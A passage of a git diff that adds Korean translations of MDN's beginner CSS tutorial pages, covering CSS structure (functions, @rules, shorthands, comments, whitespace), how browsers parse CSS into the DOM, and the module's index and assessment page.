+
+<pre class="brush: css">.outer {
+  border: 5px solid black;
+}
+
+.box {
+  padding: 10px;
+  width: calc(90% - 30px);
+  background-color: rebeccapurple;
+  color: white;
+}</pre>
+</div>
+
+<p>이것은 다음과 같이 렌더링 됩니다:</p>
+
+<p>{{EmbedLiveSample('calc_example', '100%', 200)}}</p>
+
+<p>함수는 함수 이름과 해당 함수에 허용된 값이 배치되는 괄호들로 구성됩니다. 위의 <code>calc()</code> 예제의 경우, 이 박스의 너비는 블록 너비의 90% 에서 30 px 을 뺀 값을 요구합니다. 이것은 90%가 무엇인지 알지 못하기 때문에 미리 계산하고 CSS 에 값을 입력할 수 있는 것이 아닙니다. 모든 값과 마찬가지로 MDN 의 관련 페이지에 사용법 예제가 있으므로 기능의 작동 방식을 확인할 수 있습니다.</p>
+
+<p>또 다른 예는 <code>rotate()</code> 와 같은 {{cssxref("transform")}} 에 대한 다양한 값입니다.</p>
+
+<div id="transform_example">
+<pre class="brush: html">&lt;div class="box"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">.box {
+  margin: 30px;
+  width: 100px;
+  height: 100px;
+  background-color: rebeccapurple;
+  transform: rotate(0.8turn)
+}</pre>
+</div>
+
+<p>위 코드의 결과는 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample('transform_example', '100%', 200)}}</p>
+
+<p><strong>다음 속성의 다른 값을 찾아 다른 HTML 요소에 적용하는 CSS 규칙을 작성 하십시오: </strong></p>
+
+<ul>
+ <li><strong>{{cssxref("transform")}}</strong></li>
+ <li><strong>{{cssxref("background-image")}}, in particular gradient values</strong></li>
+ <li><strong>{{cssxref("color")}}, in particular rgb/rgba/hsl/hsla values</strong></li>
+</ul>
+
+<h2 id="rules">@rules</h2>
+
+<p>아직, 우리는 <code><a href="/en-US/docs/Web/CSS/At-rule">@rules</a></code> ("at-rules" 로 발음) 가 발생하지 않았습니다. 이것들은 CSS 에 행동 방법에 대한 지침을 제공하는 특수 규칙입니다. 일부 <code>@rules</code> 는 규칙 이름과 값으로 단순합니다. 예를 들어, 추가 스타일 시트를 기본 CSS 스타일 시트로 가져오려면 <code>@import</code> 를 사용할 수 있습니다:</p>
+
+<pre class="brush: css">@import 'styles2.css';</pre>
+
+<p>접하게 될 가장 일반적인 <code>@rules</code> 중 하나는 <code>@media</code> 입니다. 이는  특정 조건이 참일 때만 (예: 화면 해상도가 일정 폭 이상이거나 화면이 일정 폭 보다 넓을 때) CSS 를 적용할 수 있는 <a href="/en-US/docs/Web/CSS/Media_Queries">미디어 쿼리</a> 를 사용할 수 있습니다.</p>
+
+<p>아래 CSS 에는, <code>&lt;body&gt;</code> 요소에 분홍색 배경색을 주는 스타일 시트가 있습니다. 그러나, <code>@media</code> 를 사용하여 30em 보다 넓은 viewport 가 있는 브라우저에만 적용되는 스타일 시트 섹션을 만듭니다. 브라우저가 30em 보다 넓은 경우 배경색이 파란색이 됩니다.</p>
+
+<pre class="brush: css">body {
+  background-color: pink;
+}
+
+@media (min-width: 30em) {
+  body {
+    background-color: blue;
+  }
+}</pre>
+
+<p>이 자습서를 통해 다른 <code>@rules</code> 를 접하게 될 것입니다.</p>
+
+<p><strong>viewport 너비에 따라 스타일을 변경하는 미디어 쿼리를 CSS 에 추가할 수 있는지 확인 하십시오. 결과를 보려면 브라우저 창의 너비를 변경하십시오.</strong></p>
+
+<h2 id="속기_shorthands">속기 (shorthands)</h2>
+
+<p>{{cssxref("font")}}, {{cssxref("background")}}, {{cssxref("padding")}}, {{cssxref("border")}} 및 {{cssxref("margin")}} 등의 일부 속성은 <strong>속기 속성</strong> 이라고 불립니다 — 이는 여러 줄의 속성 값을 한 줄로 설정하여 시간을 절약하고 작업에서 코드를 깔끔하게 만들 수 있기 때문입니다.</p>
+
+<p>예를 들어, 다음 행은:</p>
+
+<pre class="brush: css">/* 패딩 및 마진과 같은 4-값 속기에서는 위, 오른쪽, 아래, 왼쪽 (위에서 부터 시계방향) 순서로 값이 적용됩니다.
+   위, 아래에 패딩 / 마진을 설정하고 왼쪽 / 오른쪽에 패딩 / 마진을 설정하는 다른 shorthand 유형 (예: 2-값 shorthands)도 있습니다. */
+padding: 10px 15px 15px 5px;</pre>
+
+<p>이것들은 모두 이것과 똑같습니까?</p>
+
+<pre class="brush: css">padding-top: 10px;
+padding-right: 15px;
+padding-bottom: 15px;
+padding-left: 5px;</pre>
+
+<p>다음 행은:</p>
+
+<pre class="brush: css">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre>
+
+<p>이 모든 것들과 같은 작업을 수행합니다:</p>
+
+<pre class="brush: css">background-color: red;
+background-image: url(bg-graphic.png);
+background-position: 10px 10px;
+background-repeat: repeat-x;
+background-attachment: fixed;</pre>
+
+<p>우리는 지금 이것들을 철저하게 가르치려고 하지 않을 것입니다 — 당신은 이 과정 후반에 많은 예제들을 보게 될 것입니다. 그리고 더 많은 정보를 얻기 위해, <a href="/en-US/docs/Web/CSS/Reference">CSS 참조</a> 에서 속기 속성 이름을 찾아 보는 것이 좋습니다.</p>
+
+<p><strong>위의 선언을 CSS 에 추가하여 HTML 스타일에 어떤 영향을 미치는지 확인 하십시오. 다른 값으로 실험해 보십시오.</strong></p>
+
+<div class="blockIndicator warning">
+<p><strong>경고</strong>: 속기는 종종 값을 놓칠 수 있지만, 포함하지 않은 값을 초기 값으로 재설정합니다. 이를 통해 합리적인 값 세트가 사용됩니다. 그러나, 속기에서 전달한 값만 변경하려는 경우에는 혼동 될 수 있습니다.</p>
+</div>
+
+<h2 id="주석_comments">주석 (comments)</h2>
+
+<p>HTML 과 마찬가지로 CSS 에 주석을 달아 몇 달 후에 코드가 다시 작동 할 때, 코드 작동 방식을 이해하고 코드를 사용하는 다른 사람들이 이해하도록 도와주는 것이 좋습니다.</p>
+
+<p>CSS 의 주석은 <code>/*</code> 로 시작하고 <code>*/</code> 로 끝납니다. 아래 코드 블록에서 주석을 사용하여 다른 고유 코드 섹션의 시작을 표시했습니다. 코드가 커질수록 코드를 탐색하는 데 유용합니다 — 코드 편집기에서 주석을 검색할 수 있습니다.</p>
+
+<pre class="brush: css">/* 기본 요소 스타일링 처리 */
+/* -------------------------------------------------------------------------------------------- */
+body {
+  font: 1em/150% Helvetica, Arial, sans-serif;
+  padding: 1em;
+  margin: 0 auto;
+  max-width: 33em;
+}
+
+@media (min-width: 70em) {
+  /* 전역 글꼴 크기의 특수한 경우를 봅시다.
+큰 화면이나 창에서 가독성을 높이기 위해,
+글꼴 크기를 늘립니다. */
+  body {
+    font-size: 130%;
+  }
+}
+
+h1 {font-size: 1.5em;}
+
+/* DOM 에 중첩된 특정 요소 처리  */
+/* -------------------------------------------------------------------------------------------- */
+div p, #id:first-line {
+  background-color: red;
+  border-radius: 3px;
+}
+
+div p {
+  margin: 0;
+  padding: 1em;
+}
+
+div p + p {
+  padding-top: 0;
+}</pre>
+
+<p>주석은 테스트 목적으로 코드의 특정 부분을 일시적으로 <em><strong>주석 처리</strong> </em>하는 경우에도 유용합니다. 예를 들어, 코드의 어느 부분에서 오류가 발생했는지 확인하려는 경우. 다음 예제에서는 <code>.special</code> 선택자에 대한 규칙을 주석 처리 했습니다.</p>
+
+<pre class="brush: css">/*.special {
+  color: red;
+}*/
+
+p {
+  color: blue;
+}</pre>
+
+<p><strong>CSS 에 주석을 추가하여 사용에 익숙해 지십시오.</strong></p>
+
+<h2 id="공백_whitespace">공백 (whitespace)</h2>
+
+<p>공백은 실제 공간, 탭 및 줄 바꿈을 의미합니다. HTML 과 같은 방식으로 브라우저는 CSS 내부의 많은 공백을 무시하는 경향이 있습니다. 가독성을 돕기위해 많은 공백이 있습니다.</p>
+
+<p>아래 첫 번째 예에서는 각 선언 (및 규칙 시작/종료) 이 각 라인에 있습니다 — 이는 CSS 를 유지 관리하고 이해하기 쉽기 때문에 CSS 를 작성하는 좋은 방법입니다:</p>
+
+<pre class="brush: css">body {
+  font: 1em/150% Helvetica, Arial, sans-serif;
+  padding: 1em;
+  margin: 0 auto;
+  max-width: 33em;
+}
+
+@media (min-width: 70em) {
+  body {
+    font-size: 130%;
+  }
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+div p,
+#id:first-line {
+  background-color: red;
+  border-radius: 3px;
+}
+
+div p {
+  margin: 0;
+  padding: 1em;
+}
+
+div p + p {
+  padding-top: 0;
+}You could write exactly the same CSS like so, with most of the whitespace removed — this is functionally identical to the first example, but I'm sure you'll agree that it is somewhat harder to read:</pre>
+
+<pre class="brush: css">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;}
+@media (min-width: 70em) { body {font-size: 130%;} }
+
+h1 {font-size: 1.5em;}
+
+div p, #id:first-line {background-color: red; border-radius: 3px;}
+div p {margin: 0; padding: 1em;}
+div p + p {padding-top: 0;}
+</pre>
+
+<p>대부분의 공백을 제거한 상태에서 정확히 동일한 CSS 를 작성할 수 있습니다. 이것은 첫 번째 예제와 기능적으로 동일하지만 읽기가 다소 어렵다는 데 동의합니다.</p>
+
+<div class="blockIndicator warning">
+<p>CSS 에서 속성 과 값 사이의 공백은 주의해야 합니다.</p>
+</div>
+
+<p>예를 들어, 다음 선언은 유효한 CSS 입니다:</p>
+
+<pre class="brush: css">margin: 0 auto;
+padding-left: 10px;</pre>
+
+<p>그러나 다음은 유효하지 않습니다:</p>
+
+<pre class="brush: css">margin: 0auto;
+padding- left: 10px;</pre>
+
+<div class="blockIndicator warning">
+<p><code>0auto</code> 는 <code>margin</code> 속성 (<code>0</code> 과 <code>auto</code> 는 두 개의 개별 값임)에 유효한 값으로 인식되지 않으며, 브라우저는 <code>padding-</code> 을 유효한 속성으로 인식하지 않습니다. 따라서 항상 공백으로 구분된 값을 구분해야 하지만 속성 이름과 속성 값을 하나의 끊김 없는 문자열로 유지해야 합니다.</p>
+</div>
+
+<p><strong>CSS 내부에서 공백을 사용하여 문제를 해결하고 그렇지 않은 것을 확인하십시오.</strong></p>
+
+<h2 id="다음은_뭐죠">다음은 뭐죠?</h2>
+
+<p>브라우저가 HTML 과 CSS 를 가져와서 웹 페이지로 전환하는 방법에 대해 약간 이해하는 것이 유용합니다. 따라서 다음 기사 — <a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a> — 에서 해당 작업을 살펴 보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">CSS 란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 시작하기</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS 구조</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">새로운 지식 사용</a></li>
+</ol>
diff --git a/files/ko/learn/css/first_steps/how_css_works/index.html b/files/ko/learn/css/first_steps/how_css_works/index.html
new file mode 100644
index 0000000000..00104dfc85
--- /dev/null
+++ b/files/ko/learn/css/first_steps/how_css_works/index.html
@@ -0,0 +1,156 @@
+---
+title: CSS 작동 방식
+slug: Learn/CSS/First_steps/How_CSS_works
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>{{LearnSidebar}}<br>
+ {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p>
+
+<p class="summary">CSS 기본 사항, CSS 의 목적 및 간단한 스타일 시트 작성 방법을 배웠습니다. 이 강의에서는 브라우저가 CSS 와 HTML 을 가져와서 웹 페이지로 만드는 방법을 살펴 봅니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본적인 컴퓨터 활용능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a>의 기본 지식 및 HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>브라우저에서 CSS 와 HTML 을 구문 분석하는 방법의 기본 사항과 브라우저에서 CSS 를 이해하지 못할 경우 어떻게 되는지 이해하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="CSS_는_실제로_어떻게_작동합니까">CSS 는 실제로 어떻게 작동합니까?</h2>
+
+<p>브라우저가 문서를 표시할 때, 문서의 콘텐츠와 해당 스타일 정보를 결합해야 합니다. 아래 나열된 여러 단계로 문서를 처리합니다. 이것은 브라우저가 웹 페이지를 로드할 때 발생하는 작업의 매우 단순화된 버전이며, 다른 브라우저가 다른 방식으로 작업을 처리한다는 점을 명심하십시오. 그러나 이것은 대략 일어나는 일입니다.</p>
+
+<ol>
+ <li>브라우저는 HTML (예: 네트워크에서 HTML 을 수신) 을 로드합니다.</li>
+ <li>{{Glossary("HTML")}} 을 {{Glossary("DOM")}} (<em>Document Object Model</em>) 로 변환합니다. DOM 은 컴퓨터 메모리의 문서를 나타냅니다. DOM 은 다음 섹션에서 좀 더 자세히 설명됩니다.</li>
+ <li>그런 다음 브라우저는 포함된 이미지 및 비디오와 같은 HTML 문서에 연결된 대부분의 리소스와 연결된 CSS 를 가져옵니다! JavaScript 는 작업에서 나중에 처리되므로 더 간단하게 하기위해 여기에서는 다루지 않습니다.</li>
+ <li>브라우저는 가져온 CSS 를 구문 분석하고 선택자 유형별로 다른 규칙을 다른 "buckets" 으로 정렬합니다. 예: 요소, class, ID 등 찾은 선택자를 기반으로 DOM 의 어느 노드에 어떤 규칙을 적용해야 하는지 결정하고, 필요에 따라 스타일을 첨부합니다 (이 중간 단계를 render tree 라고 합니다).</li>
+ <li>render tree 는 규칙이 적용된 후에 표시되어야 하는 구조로 배치됩니다.</li>
+ <li>페이지의 시각적 표시가 화면에 표시됩니다 (이 단계를 painting 이라고 함).</li>
+</ol>
+
+<p>다음 그림은 작업의 간단한 보기를 제공합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11781/rendering.svg" style="height: auto; max-width: 635px; width: 100%;"></p>
+
+<h2 id="DOM_정보">DOM 정보</h2>
+
+<p>DOM 은 트리와 같은 구조를 가지고 있습니다. 마크 업 언어의 각 요소, 속성 및 텍스트는 트리 구조에서 {{Glossary("Node/DOM","DOM node")}} 가 됩니다. 노드는 다른 DOM 노드와의 관계에 의해 정의됩니다. 일부 요소는 자식 노드의 부모이고 자식 노드에는 형제가 있습니다.</p>
+
+<p>DOM 은 CSS 와 문서의 내용이 만나는 곳이기 때문에 DOM 을 이해하면 CSS 를 설계, 디버그 및 유지 관리하는 데 도움이 됩니다. 브라우저 DevTools 로 작업을 시작하면, 적용할 규칙을 보기 위해 항목을 선택할 때 DOM 을 탐색하게 됩니다.</p>
+
+<h2 id="실제_DOM_표현">실제 DOM 표현</h2>
+
+<p>길고 지루한 설명이 아니라 실제 HTML 이 DOM 으로 변환되는 방법을 보여주는 예제를 살펴 보겠습니다.</p>
+
+<p>다음 HTML 코드를 사용하십시오:</p>
+
+<pre class="brush: html">&lt;p&gt;
+  Let's use:
+  &lt;span&gt;Cascading&lt;/span&gt;
+  &lt;span&gt;Style&lt;/span&gt;
+  &lt;span&gt;Sheets&lt;/span&gt;
+&lt;/p&gt;
+</pre>
+
+<p>DOM 에서, <code>&lt;p&gt;</code> 요소에 해당하는 노드는 부모입니다. 자식은 텍스트 노드이고 <code>&lt;span&gt;</code> 요소에 해당하는 세 개의 노드입니다. <code>SPAN</code> 노드는 부모이며, 텍스트 노드는 자식입니다:</p>
+
+<pre>P
+├─ "Let's use:"
+├─ SPAN
+|  └─ "Cascading"
+├─ SPAN
+|  └─ "Style"
+└─ SPAN
+   └─ "Sheets"
+</pre>
+
+<p>브라우저가 이전 HTML 을 해석하는 방법입니다 — 위의 DOM 트리를 렌더링 한 다음 브라우저에서 다음과 같이 출력합니다:</p>
+
+<p>{{EmbedLiveSample('A_real_DOM_representation', '100%', 55)}}</p>
+
+<div class="hidden">
+<pre class="brush: css">p {margin:0;}</pre>
+</div>
+
+<h2 id="DOM_에_CSS_적용하기">DOM 에 CSS 적용하기</h2>
+
+<p>CSS 를 문서에 추가하여 스타일을 지정했다고 가정해 봅시다. 다시 한 번, HTML 은 다음과 같습니다:</p>
+
+<pre class="brush: html">&lt;p&gt;
+  Let's use:
+  &lt;span&gt;Cascading&lt;/span&gt;
+  &lt;span&gt;Style&lt;/span&gt;
+  &lt;span&gt;Sheets&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<p>다음 CSS 를 적용한다고 가정해 봅시다:</p>
+
+<pre class="brush: css">span {
+  border: 1px solid black;
+  background-color: lime;
+}</pre>
+
+<p>브라우저는 HTML 을 구문 분석하고 그로부터 DOM 을 작성한 다음, CSS 를 구문 분석합니다. CSS 에서 사용할 수 있는 유일한 규칙에는 <code>span</code> 선택자가 있으므로, 브라우저는 CSS 를 매우 빠르게 정렬할 수 있습니다! 이 규칙을 세 개의 <code>&lt;span&gt;</code> 각각에 적용한 다음 최종 시각적 표현을 화면에 표시합니다.</p>
+
+<p>업데이트 된 출력은 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample('Applying_CSS_to_the_DOM', '100%', 55)}}</p>
+
+<p>다음 과목의 <a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a> 기사에서 브라우저 DevTools 를 사용하여, CSS 문제를 디버깅하고 브라우저가 CSS 를 해석하는 방법에 대해 자세히 알아 봅니다.</p>
+
+<h2 id="브라우저에서_인식하지_못하는_CSS_를_발견하면_어떻게_됩니까">브라우저에서 인식하지 못하는 CSS 를 발견하면 어떻게 됩니까?</h2>
+
+<p><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS#Browser_support">이전 수업</a> 에서 브라우저가 모두 동시에 새로운 CSS 를 구현하는 것은 아니라고 언급했습니다. 또한 많은 사람들이 최신 버전의 브라우저를 사용하지 않습니다. CSS 가 항상 개발되고 있으므로 브라우저가 인식할 수 있는 것보다 앞서 있기 때문에 브라우저가 CSS 선택자 또는 인식하지 못하는 선언을 발견하면 어떻게 될지 궁금할 수 있습니다.</p>
+
+<p>대답은 아무것도 하지 않으며, CSS 의 다음 단계로 넘어갑니다!</p>
+
+<p>브라우저가 규칙을 구문 분석하고 이해하지 못하는 속성 이나 값을 발견하면, 이를 무시하고 다음 선언으로 넘어갑니다. 오류가 발생하여 속성 또는 값의 철자가 틀렸거나 속성 또는 값이 너무 새롭고 브라우저가 아직 이를 지원하지 않는 경우, 이 작업을 수행합니다.</p>
+
+<p>마찬가지로, 브라우저가 이해하지 못하는 선택자를 만나면, 전체 규칙을 무시하고 다음 규칙으로 넘어갑니다.</p>
+
+<p>아래 예에서 나는 영국 영어 철자를 색상에 사용했는데, 그 속성은 인식되지 않기 때문에 유효하지 않습니다. 그래서 내 단락은 파란색으로 표시되지 않았습니다. 그러나 다른 모든 CSS 가 적용 되었습니다. 유효하지 않은 라인만 무시됩니다.</p>
+
+<div id="Skipping_example">
+<pre class="brush: html">&lt;p&gt; 나는 이 텍스트를 크고 굵은 파란색으로 표시하고 싶습니다.&lt;/p&gt;</pre>
+
+<pre class="brush: css">p {
+  font-weight: bold;
+  colour: blue; /* color 속성의 잘못된 철자 */
+  font-size: 200%;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('Skipping_example', '100%', 200)}}</p>
+
+<p>이 동작은 매우 유용합니다. 이는 새로운 CSS 를 향상된 기능으로 사용할 수 있음을 의미하며, 새 기능을 이해하지 못할 경우 오류가 발생하지 않습니다 — 브라우저는 새로운 기능을 얻거나 얻지 못합니다. cascade 작동 방식 및 브라우저가 스타일이 동일한 마지막 CSS 를 사용한다는 사실과 동일한 특성을 가진 두 규칙이 있을 경우, 새 CSS 를 지원하지 않는 브라우저에 대한 대안을 제공할 수도 있습니다.</p>
+
+<p>이것은 새롭고 모든 곳에서 지원되지 않는 값을 사용하려는 경우 특히 효과적입니다. 예를 들어, 구형 브라우저는 <code>calc()</code> 를 값으로 지원하지 않습니다. 박스에 대해 대체 너비를 픽셀 단위로 지정한 다음, <code>calc()</code> 값을 <code>100% - 50px</code> 로 너비를 지정하십시오. 오래된 브라우저는 픽셀 버전을 사용하지만, 이해하지 못하는 <code>calc()</code> 에 대한 라인은 무시합니다. 새로운 브라우저는 픽셀을 사용하여 라인을 해석하지만, 나중에 cascade 에서 나타날 때 <code>calc()</code> 를 사용하여 라인을 재정의 합니다.</p>
+
+<pre class="brush: css">.box {
+  width: 500px;
+  width: calc(100% - 50px);
+}</pre>
+
+<p>우리는 이후 수업에서 다양한 브라우저를 지원하는 더 많은 방법을 다룰 것입니다.</p>
+
+<h2 id="마지막으로">마지막으로</h2>
+
+<p>이 강의를 거의 끝냈습니다; 할 일이 하나 더 있습니다. 다음 기사에서는 <a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">새로운 지식을 사용</a> 하여 예제의 스타일을 변경하여 작업의 일부 CSS 를 테스트 합니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">CSS 란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 로 시작하기</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS 의 구조</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">새로운 지식을 사용</a></li>
+</ol>
diff --git a/files/ko/learn/css/first_steps/index.html b/files/ko/learn/css/first_steps/index.html
new file mode 100644
index 0000000000..e03e748853
--- /dev/null
+++ b/files/ko/learn/css/first_steps/index.html
@@ -0,0 +1,46 @@
+---
+title: CSS 첫 번째 단계
+slug: Learn/CSS/First_steps
+translation_of: Learn/CSS/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">CSS (Cascading Style Sheets) 는 콘텐츠의 글꼴, 색상, 크기 및 간격을 변경하거나 여러 열로 분할하거나 애니메이션 및 기타 장식 기능을 추가하는 등의 웹 페이지 스타일 및 레이아웃에 사용됩니다. 이 모듈은 작동 방식, 구문의 모양 및 HTML에 스타일을 추가하기 위해, 이를 사용하는 방법에 대한 기본 사항을 통해 CSS 를 마스터 하는 과정을 부드럽게 시작합니다.</p>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>이 모듈을 시작하기 전에, 다음이 있어야 합니다:</p>
+
+<ol>
+ <li>컴퓨터를 사용하고 웹을 수동적으로 사용하는 것에 대한 기본적인 친숙성 (예: 콘텐츠를 보는 것) 입니다.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a> 에서 자세히 설명한 대로 설정된 기본 작업 환경과 <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기</a> 에서 자세히 설명한 대로 파일을 생성하고 관리하는 방법을 이해합니다.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 에서 설명한 바와 같이 HTML에 대한 기본적인 친숙성입니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>:  자신의 파일을 만들 수 없는 컴퓨터/태블릿/기타 장치에서 작업하는 경우, <a href="http://jsbin.com/">JSBin</a> 또는 <a href="https://glitch.com/">Glitch</a> 와 같은 온라인 코딩 프로그램에서 코드 예제를 시험해 볼 수 있습니다.</p>
+</div>
+
+<h2 id="안내">안내</h2>
+
+<p>이 모듈에서는 CSS 의 모든 기본 이론을 익히고, 몇 가지 기술을 테스트 할 수 있는 기회를 제공하는 다음과 같은 기사가 포함되어 있습니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/First_steps/What_is_CSS">CSS 란 무엇인가?</a></dt>
+ <dd><strong>{{Glossary("CSS")}}</strong> (Cascading Style Sheets) 를 사용하면 멋진 웹 페이지를 만들 수 있지만 어떻게 작동합니까? 이 기사에서는 간단한 구문 예제를 통해 CSS 가 무엇인지 설명하고 언어에 대한 몇 가지 주요 용어를 다룹니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">CSS 로 시작하기</a></dt>
+ <dd>이 기사에서는 간단한 HTML 문서를 가져와서 CSS 를 적용하여 언어에 대한 실질적인 내용을 학습합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS 의 구조</a></dt>
+ <dd>CSS 가 무엇인지, 그리고 CSS 의 기본 사용법에 대해 알고 있습니다. 이제 언어 자체의 구조를 조금 더 깊이 살펴볼 차례입니다. 우리는 이미 여기에서 논의된 많은 개념들을 만났습니다. 나중에 헷갈리는 개념을 발견하면 다시 이 개념으로 돌아와서 요약 할 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS 작동 방식</a></dt>
+ <dd>CSS 의 기본 사항, 목적 및 간단한 스타일 시트 작성 방법을 배웠습니다. 이 강의에서는 브라우저가 CSS 와 HTML 을 가져와서 웹 페이지로 만드는 방법을 살펴 봅니다.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">새로운 지식 사용</a></dt>
+ <dd>지난 몇 단원에서 배운 내용을 통해 CSS 를 사용하여 간단한 텍스트 문서의 서식을 지정하고 자신만의 스타일을 추가 할 수 있다는 것을 알게 될 것입니다. 이 기사는 그렇게 할 수 있는 기회를 제공합니다.</dd>
+</dl>
+
+<h2 id="참고_항목">참고 항목</h2>
+
+<dl>
+ <dt><a href="https://teach.mozilla.org/activities/intermediate-web-lit/">중급자 웹 활용 능력 1: CSS 소개</a></dt>
+ <dd><em>CSS 소개</em>  모듈에서 이야기 한 많은 기술을 탐구하고 테스트하는 훌륭한 모질라 기초 과정입니다. 웹 페이지, CSS 선택자, 속성 및 값의 HTML 요소 스타일 지정에 대해 학습합니다.</dd>
+</dl>
diff --git a/files/ko/learn/css/first_steps/using_your_new_knowledge/index.html b/files/ko/learn/css/first_steps/using_your_new_knowledge/index.html
new file mode 100644
index 0000000000..6a1795419c
--- /dev/null
+++ b/files/ko/learn/css/first_steps/using_your_new_knowledge/index.html
@@ -0,0 +1,96 @@
+---
+title: 새로운 지식을 사용하기
+slug: Learn/CSS/First_steps/Using_your_new_knowledge
+translation_of: Learn/CSS/First_steps/Using_your_new_knowledge
+---
+<p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p>
+
+<p class="summary">지난 몇 단원에서 배운 내용을 통해 CSS 를 사용하여 간단한 텍스트 문서의 서식을 지정하여 자신만의 스타일을 추가 할 수 있다는 것을 알게 될 것입니다. 이 평가는 그 기회를 제공합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>이 평가를 시도하기 전에 나머지 CSS 기본 과목을 살펴보고 HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 을 이해해야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS 를 가지고 놀면서 새로운 지식을 테스트하기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="시작점">시작점</h2>
+
+<p>아래의 라이브 편집기에서 작업하거나 , <a href="https://github.com/mdn/css-examples/blob/master/learn/getting-started/biog-download.html/">시작점을 다운로드</a> 하여 자신의 편집기에서 작업할 수 있습니다. 이 페이지는 HTML 과 문서 head 의 시작점 CSS 가 포함된 단일 페이지 입니다. 원하는 경우 로컬 컴퓨터에서 예제를 만들 때, 이 CSS 를 별도의 파일로 옮길수 있습니다. 또는 <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a> 또는 <a href="https://glitch.com/" rel="noopener">Glitch</a> 와 같은 온라인 도구를 사용하여 작업을 수행하십시오.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 문제가 발생하면, 도움을 요청하십시오 — 이 페이지 하단의 <a href="/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge#Assessment_or_further_help">평가 또는 추가 도움말</a> 섹션을 참조하십시오.</p>
+</div>
+
+<h2 id="CSS_를_사용한_작업">CSS 를 사용한 작업</h2>
+
+<p>다음 라이브 예는 CSS 를 사용하여 스타일이 지정된 전기(biography) 를 보여줍니다. 내가 사용한 CSS 속성은 다음과 같습니다 — 각 속성은 MDN 의 속성 페이지에 연결되어 더 많은 사용 예를 제공합니다.</p>
+
+<ul>
+ <li>{{cssxref("font-family")}}</li>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("text-decoration")}}</li>
+</ul>
+
